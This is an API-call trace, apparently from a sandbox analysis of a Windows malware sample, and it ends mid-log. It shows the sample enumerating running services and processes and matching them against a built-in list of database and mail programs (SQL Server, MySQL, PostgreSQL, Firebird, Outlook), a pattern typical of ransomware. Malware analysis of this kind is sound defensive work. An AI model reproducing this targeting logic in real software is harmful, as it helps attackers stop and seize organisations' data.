0x676020 [0146.278] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0146.278] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6f5bb0 | out: hHeap=0x660000) returned 1 [0146.278] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0146.278] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6f5160 | out: hHeap=0x660000) returned 1 [0146.278] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69d8f8 [0146.279] EnumServicesStatusExW (in: hSCManager=0x69d8f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 0 [0146.279] GetLastError () returned 0xea [0146.279] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c30) returned 0x6bb970 [0146.279] EnumServicesStatusExW (in: hSCManager=0x69d8f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6bb970, cbBufSize=0x1c30, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6bb970, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 1 [0146.280] CloseServiceHandle (hSCObject=0x69d8f8) returned 1 [0146.280] lstrlenW (lpString="Appinfo") returned 7 [0146.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0146.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0146.280] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0146.280] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0146.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0146.280] lstrlenW (lpString="AppXSvc") returned 7 [0146.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0146.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0146.280] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0146.280] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0146.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0146.280] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0146.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0146.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0146.280] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0146.280] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0146.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0146.280] lstrlenW (lpString="Audiosrv") returned 8 [0146.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0146.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0146.280] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0146.280] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0146.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0146.280] lstrlenW (lpString="BFE") returned 3 [0146.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0146.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0146.281] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0146.281] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0146.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0146.281] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0146.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0146.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0146.281] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0146.281] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0146.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0146.281] lstrlenW (lpString="CDPSvc") returned 6 [0146.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0146.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0146.281] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0146.281] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0146.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0146.281] lstrlenW (lpString="ClickToRunSvc") returned 13 [0146.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0146.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0146.281] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0146.281] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0146.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0146.281] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0146.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0146.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0146.281] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0146.281] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0146.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0146.281] lstrlenW (lpString="CryptSvc") returned 8 [0146.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0146.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0146.281] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0146.281] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0146.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0146.281] lstrlenW (lpString="DcomLaunch") returned 10 [0146.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0146.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0146.282] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0146.282] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0146.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0146.282] lstrlenW (lpString="DeviceAssociationService") returned 24 [0146.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0146.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0146.282] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0146.282] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0146.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0146.282] lstrlenW (lpString="Dhcp") returned 4 [0146.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0146.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0146.282] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0146.282] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0146.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0146.282] lstrlenW (lpString="Dnscache") returned 8 [0146.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0146.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0146.282] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0146.282] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0146.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0146.282] lstrlenW (lpString="DPS") returned 3 [0146.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0146.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0146.282] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0146.282] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0146.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0146.282] lstrlenW (lpString="DusmSvc") returned 7 [0146.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0146.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0146.282] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0146.282] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0146.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0146.282] lstrlenW (lpString="EventLog") returned 8 [0146.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0146.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0146.283] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0146.283] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0146.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0146.283] lstrlenW (lpString="EventSystem") returned 11 [0146.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0146.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0146.283] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0146.283] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0146.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0146.283] lstrlenW (lpString="FontCache") returned 9 [0146.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0146.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0146.283] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0146.283] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0146.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0146.283] lstrlenW (lpString="gpsvc") returned 5 [0146.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0146.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0146.283] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0146.283] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0146.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0146.283] lstrlenW (lpString="iphlpsvc") returned 8 [0146.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0146.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0146.283] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0146.283] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0146.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0146.283] lstrlenW (lpString="KeyIso") returned 6 [0146.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0146.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0146.283] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0146.283] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0146.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0146.283] lstrlenW (lpString="LanmanServer") returned 12 [0146.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0146.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0146.284] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0146.284] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0146.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0146.284] lstrlenW (lpString="LanmanWorkstation") returned 17 [0146.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0146.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0146.284] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0146.284] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0146.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0146.284] lstrlenW (lpString="lfsvc") returned 5 [0146.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0146.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0146.284] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0146.284] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0146.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0146.284] lstrlenW (lpString="lmhosts") returned 7 [0146.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0146.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0146.284] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0146.284] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0146.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0146.284] lstrlenW (lpString="LSM") returned 3 [0146.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0146.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0146.284] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0146.284] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0146.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0146.284] lstrlenW (lpString="MpsSvc") returned 6 [0146.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0146.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0146.284] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0146.284] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0146.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0146.284] lstrlenW (lpString="NcbService") returned 10 [0146.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0146.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0146.285] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0146.285] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0146.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0146.285] lstrlenW (lpString="netprofm") returned 8 [0146.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0146.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0146.285] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0146.285] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0146.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0146.285] lstrlenW (lpString="NgcSvc") returned 6 [0146.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0146.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0146.285] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0146.285] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0146.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0146.285] lstrlenW (lpString="NlaSvc") returned 6 [0146.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0146.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0146.285] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0146.285] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0146.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0146.285] lstrlenW (lpString="nsi") returned 3 [0146.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0146.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0146.285] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0146.285] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0146.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0146.285] lstrlenW (lpString="PcaSvc") returned 6 [0146.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0146.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0146.285] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0146.285] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0146.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0146.285] lstrlenW (lpString="PlugPlay") returned 8 [0146.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0146.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0146.286] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0146.286] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0146.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0146.286] lstrlenW (lpString="Power") returned 5 [0146.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0146.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0146.286] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0146.286] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0146.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0146.286] lstrlenW (lpString="ProfSvc") returned 7 [0146.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0146.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0146.286] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0146.286] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0146.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0146.286] lstrlenW (lpString="RpcEptMapper") returned 12 [0146.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0146.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0146.286] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0146.286] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0146.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0146.286] lstrlenW (lpString="RpcSs") returned 5 [0146.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0146.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0146.286] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0146.286] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0146.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0146.286] lstrlenW (lpString="SamSs") returned 5 [0146.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0146.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0146.286] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0146.286] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0146.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0146.286] lstrlenW (lpString="Schedule") returned 8 [0146.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0146.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0146.399] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0146.399] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0146.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0146.399] lstrlenW (lpString="SecurityHealthService") returned 21 [0146.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0146.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0146.399] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0146.399] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0146.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0146.399] lstrlenW (lpString="SENS") returned 4 [0146.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0146.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0146.399] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0146.399] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0146.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0146.399] lstrlenW (lpString="ShellHWDetection") returned 16 [0146.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0146.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0146.399] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0146.399] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0146.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0146.399] lstrlenW (lpString="Spooler") returned 7 [0146.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0146.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0146.399] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0146.399] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0146.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0146.399] lstrlenW (lpString="StateRepository") returned 15 [0146.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0146.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0146.399] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0146.399] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0146.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0146.399] lstrlenW (lpString="SysMain") returned 7 [0146.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0146.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0146.400] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0146.400] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0146.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0146.400] lstrlenW (lpString="SystemEventsBroker") returned 18 [0146.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0146.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0146.400] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0146.400] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0146.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0146.400] lstrlenW (lpString="Themes") returned 6 [0146.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0146.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0146.400] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0146.400] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0146.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0146.400] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0146.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0146.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0146.400] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0146.400] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0146.400] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6bb970 | out: hHeap=0x660000) returned 1 [0146.400] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0146.404] Process32FirstW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0146.405] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0146.405] lstrlenW (lpString="System") returned 6 [0146.406] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0146.406] lstrlenW (lpString="smss.exe") returned 8 [0146.406] 